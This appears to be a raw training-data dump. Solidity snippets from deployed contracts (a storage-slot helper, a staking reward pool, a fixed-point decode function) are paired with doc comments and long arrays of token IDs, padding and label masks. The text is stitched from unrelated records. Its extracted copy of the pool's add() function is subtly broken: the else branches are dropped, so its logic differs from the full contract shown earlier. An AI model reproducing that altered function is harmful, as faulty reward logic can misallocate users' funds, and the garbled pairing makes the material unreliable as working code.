-100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xd15563162301EcD765bFB54eBd0809b21932C506/sources/contracts/lib/SlotsLib.sol
@dev Sets a slot array at index with address @notice First slot is array length, elements ordered backward in memory @notice This is unsafe, without checking array length.
function setAt(bytes32 slot, uint index, address value) internal { bytes32 pointer = bytes32(uint(slot) - 1 - index); assembly { sstore(pointer, value) } }
3,877,043
[ 1, 4625, 348, 7953, 560, 30, 225, 632, 5206, 11511, 279, 4694, 526, 622, 770, 598, 1758, 632, 20392, 5783, 4694, 353, 526, 769, 16, 2186, 5901, 12555, 316, 3778, 632, 20392, 1220, 353, 7127, 16, 2887, 6728, 526, 769, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 444, 861, 12, 3890, 1578, 4694, 16, 2254, 770, 16, 1758, 460, 13, 2713, 288, 203, 565, 1731, 1578, 4407, 273, 1731, 1578, 12, 11890, 12, 14194, 13, 300, 404, 300, 770, 1769, 203, 565, 19931, 288, 203, 1377, 272, 2233, 12, 10437, 16, 460, 13, 203, 565, 289, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; // Note that this pool has no minter key of MDO (rewards). // Instead, the governance will call MDO distributeReward method and send reward to this pool at the beginning. contract MdoRewardPool { using SafeMath for uint256; using SafeERC20 for IERC20; // governance address public operator; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. MDOs to distribute per block. uint256 lastRewardBlock; // Last block number that MDOs distribution occurs. uint256 accMdoPerShare; // Accumulated MDOs per share, times 1e18. See below. bool isStarted; // if lastRewardBlock has passed } IERC20 public mdo = IERC20(0x190b589cf9Fb8DDEabBFeae36a813FFb2A702454); // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping(uint256 => mapping(address => UserInfo)) public userInfo; // Total allocation points. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when MDO mining starts. uint256 public startBlock; uint256 public constant BLOCKS_PER_DAY = 28800; // 86400 / 3; uint256[] public epochTotalRewards = [1000 ether, 90000 ether]; // Block number when each epoch ends. uint[2] public epochEndBlocks; // Reward per block for each of 2 epochs (last item is equal to 0 - for sanity). uint[3] public epochMdoPerBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); event RewardPaid(address indexed user, uint256 amount); constructor( address _mdo, uint256 _startBlock ) public { require(block.number < _startBlock, "late"); if (_mdo != address(0)) mdo = IERC20(_mdo); startBlock = _startBlock; // supposed to be 4,702,800 (Mon Feb 08 2021 14:30:00 UTC) epochEndBlocks[0] = startBlock + BLOCKS_PER_DAY; epochEndBlocks[1] = startBlock + BLOCKS_PER_DAY.mul(10); epochMdoPerBlock[0] = epochTotalRewards[0].div(BLOCKS_PER_DAY); epochMdoPerBlock[1] = epochTotalRewards[1].div(BLOCKS_PER_DAY.mul(9)); epochMdoPerBlock[2] = 0; operator = msg.sender; } modifier onlyOperator() { require(operator == msg.sender, "MdoRewardPool: caller is not the operator"); _; } function checkPoolDuplicate(IERC20 _lpToken) internal view { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { require(poolInfo[pid].lpToken != _lpToken, "MdoRewardPool: existing pool?"); } } // Add a new lp to the pool. Can only be called by the owner. function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock ) public onlyOperator { checkPoolDuplicate(_lpToken); if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { // chef is sleeping if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; } else { if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } } else { // chef is cooking if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (_lastRewardBlock <= startBlock) || (_lastRewardBlock <= block.number); poolInfo.push(PoolInfo({ lpToken : _lpToken, allocPoint : _allocPoint, lastRewardBlock : _lastRewardBlock, accMdoPerShare : 0, isStarted : _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } } // Update the given pool's MDO allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint) public onlyOperator { massUpdatePools(); PoolInfo storage pool = poolInfo[_pid]; if (pool.isStarted) { totalAllocPoint = totalAllocPoint.sub(pool.allocPoint).add( _allocPoint ); } pool.allocPoint = _allocPoint; } // Return accumulate rewards over the given _from to _to block. function getGeneratedReward(uint256 _from, uint256 _to) public view returns (uint256) { for (uint8 epochId = 2; epochId >= 1; --epochId) { if (_to >= epochEndBlocks[epochId - 1]) { if (_from >= epochEndBlocks[epochId - 1]) return _to.sub(_from).mul(epochMdoPerBlock[epochId]); uint256 _generatedReward = _to.sub(epochEndBlocks[epochId - 1]).mul(epochMdoPerBlock[epochId]); if (epochId == 1) return _generatedReward.add(epochEndBlocks[0].sub(_from).mul(epochMdoPerBlock[0])); for (epochId = epochId - 1; epochId >= 1; --epochId) { if (_from >= epochEndBlocks[epochId - 1]) return _generatedReward.add(epochEndBlocks[epochId].sub(_from).mul(epochMdoPerBlock[epochId])); _generatedReward = _generatedReward.add(epochEndBlocks[epochId].sub(epochEndBlocks[epochId - 1]).mul(epochMdoPerBlock[epochId])); } return _generatedReward.add(epochEndBlocks[0].sub(_from).mul(epochMdoPerBlock[0])); } } return _to.sub(_from).mul(epochMdoPerBlock[0]); } // View function to see pending MDOs on frontend. function pendingMDO(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accMdoPerShare = pool.accMdoPerShare; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number); uint256 _mdoReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint); accMdoPerShare = accMdoPerShare.add(_mdoReward.mul(1e18).div(lpSupply)); } return user.amount.mul(accMdoPerShare).div(1e18).sub(user.rewardDebt); } // Update reward variables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } if (!pool.isStarted) { pool.isStarted = true; totalAllocPoint = totalAllocPoint.add(pool.allocPoint); } if (totalAllocPoint > 0) { uint256 _generatedReward = getGeneratedReward(pool.lastRewardBlock, block.number); uint256 _mdoReward = _generatedReward.mul(pool.allocPoint).div(totalAllocPoint); pool.accMdoPerShare = pool.accMdoPerShare.add(_mdoReward.mul(1e18).div(lpSupply)); } pool.lastRewardBlock = block.number; } // Deposit LP tokens. function deposit(uint256 _pid, uint256 _amount) public { address _sender = msg.sender; PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_sender]; updatePool(_pid); if (user.amount > 0) { uint256 _pending = user.amount.mul(pool.accMdoPerShare).div(1e18).sub(user.rewardDebt); if (_pending > 0) { safeMdoTransfer(_sender, _pending); emit RewardPaid(_sender, _pending); } } if (_amount > 0) { pool.lpToken.safeTransferFrom(_sender, address(this), _amount); user.amount = user.amount.add(_amount); } user.rewardDebt = user.amount.mul(pool.accMdoPerShare).div(1e18); emit Deposit(_sender, _pid, _amount); } // Withdraw LP tokens. function withdraw(uint256 _pid, uint256 _amount) public { address _sender = msg.sender; PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 _pending = user.amount.mul(pool.accMdoPerShare).div(1e18).sub(user.rewardDebt); if (_pending > 0) { safeMdoTransfer(_sender, _pending); emit RewardPaid(_sender, _pending); } if (_amount > 0) { user.amount = user.amount.sub(_amount); pool.lpToken.safeTransfer(_sender, _amount); } user.rewardDebt = user.amount.mul(pool.accMdoPerShare).div(1e18); emit Withdraw(_sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; uint256 _amount = user.amount; user.amount = 0; user.rewardDebt = 0; pool.lpToken.safeTransfer(msg.sender, _amount); emit EmergencyWithdraw(msg.sender, _pid, _amount); } // Safe mdo transfer function, just in case if rounding error causes pool to not have enough MDOs. function safeMdoTransfer(address _to, uint256 _amount) internal { uint256 _mdoBal = mdo.balanceOf(address(this)); if (_mdoBal > 0) { if (_amount > _mdoBal) { mdo.safeTransfer(_to, _mdoBal); } else { mdo.safeTransfer(_to, _amount); } } } function setOperator(address _operator) external onlyOperator { operator = _operator; } function governanceRecoverUnsupported(IERC20 _token, uint256 amount, address to) external onlyOperator { if (block.number < epochEndBlocks[1] + BLOCKS_PER_DAY * 180) { // do not allow to drain lpToken if less than 180 days after farming require(_token != mdo, "!mdo"); uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { PoolInfo storage pool = poolInfo[pid]; require(_token != pool.lpToken, "!pool.lpToken"); } } _token.safeTransfer(to, amount); } }
Add a new lp to the pool. Can only be called by the owner. chef is sleeping chef is cooking
function add( uint256 _allocPoint, IERC20 _lpToken, bool _withUpdate, uint256 _lastRewardBlock ) public onlyOperator { checkPoolDuplicate(_lpToken); if (_withUpdate) { massUpdatePools(); } if (block.number < startBlock) { if (_lastRewardBlock == 0) { _lastRewardBlock = startBlock; if (_lastRewardBlock < startBlock) { _lastRewardBlock = startBlock; } } if (_lastRewardBlock == 0 || _lastRewardBlock < block.number) { _lastRewardBlock = block.number; } } bool _isStarted = (_lastRewardBlock <= startBlock) || (_lastRewardBlock <= block.number); poolInfo.push(PoolInfo({ lpToken : _lpToken, allocPoint : _allocPoint, lastRewardBlock : _lastRewardBlock, accMdoPerShare : 0, isStarted : _isStarted })); if (_isStarted) { totalAllocPoint = totalAllocPoint.add(_allocPoint); } }
12,866,967
[ 1, 4625, 348, 7953, 560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0 ]
[ 1, 565, 445, 527, 12, 203, 3639, 2254, 5034, 389, 9853, 2148, 16, 203, 3639, 467, 654, 39, 3462, 389, 9953, 1345, 16, 203, 3639, 1426, 389, 1918, 1891, 16, 203, 3639, 2254, 5034, 389, 2722, 17631, 1060, 1768, 203, 565, 262, 1071, 1338, 5592, 288, 203, 3639, 866, 2864, 11826, 24899, 9953, 1345, 1769, 203, 3639, 309, 261, 67, 1918, 1891, 13, 288, 203, 5411, 8039, 1891, 16639, 5621, 203, 3639, 289, 203, 3639, 309, 261, 2629, 18, 2696, 411, 787, 1768, 13, 288, 203, 5411, 309, 261, 67, 2722, 17631, 1060, 1768, 422, 374, 13, 288, 203, 7734, 389, 2722, 17631, 1060, 1768, 273, 787, 1768, 31, 203, 7734, 309, 261, 67, 2722, 17631, 1060, 1768, 411, 787, 1768, 13, 288, 203, 10792, 389, 2722, 17631, 1060, 1768, 273, 787, 1768, 31, 203, 7734, 289, 203, 5411, 289, 203, 5411, 309, 261, 67, 2722, 17631, 1060, 1768, 422, 374, 747, 389, 2722, 17631, 1060, 1768, 411, 1203, 18, 2696, 13, 288, 203, 7734, 389, 2722, 17631, 1060, 1768, 273, 1203, 18, 2696, 31, 203, 5411, 289, 203, 3639, 289, 203, 3639, 1426, 389, 291, 9217, 273, 203, 3639, 261, 67, 2722, 17631, 1060, 1768, 1648, 787, 1768, 13, 747, 203, 3639, 261, 67, 2722, 17631, 1060, 1768, 1648, 1203, 18, 2696, 1769, 203, 3639, 2845, 966, 18, 6206, 12, 2864, 966, 12590, 203, 5411, 12423, 1345, 294, 389, 9953, 1345, 16, 203, 5411, 4767, 2148, 294, 389, 9853, 2148, 16, 203, 5411, 1142, 17631, 1060, 1768, 294, 389, 2722, 17631, 1060, 1768, 16, 203, 5411, 4078, 49, 2896, 2173, 9535, 294, 374, 16, 203, 5411, 28481, 294, 389, 291, 9217, 203, 5411, 289, 10019, 203, 3639, 309, 261, 67, 291, 9217, 13, 288, 203, 5411, 2078, 8763, 2148, 273, 2078, 8763, 2148, 18, 1289, 24899, 9853, 2148, 1769, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/3/0xb386d4Cd1983275Fd5d3b237BeF8624511328C76/sources/ItemBase.sol
decode a UQ128x128 into a uint128 by truncating after the radix point
function decode(uint256 x) internal pure returns (uint128) { return uint128(x >> RESOLUTION); }
5,051,061
[ 1, 4625, 348, 7953, 560, 30, 225, 2495, 279, 587, 53, 10392, 92, 10392, 1368, 279, 2254, 10392, 635, 6956, 1776, 1839, 326, 19015, 1634, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
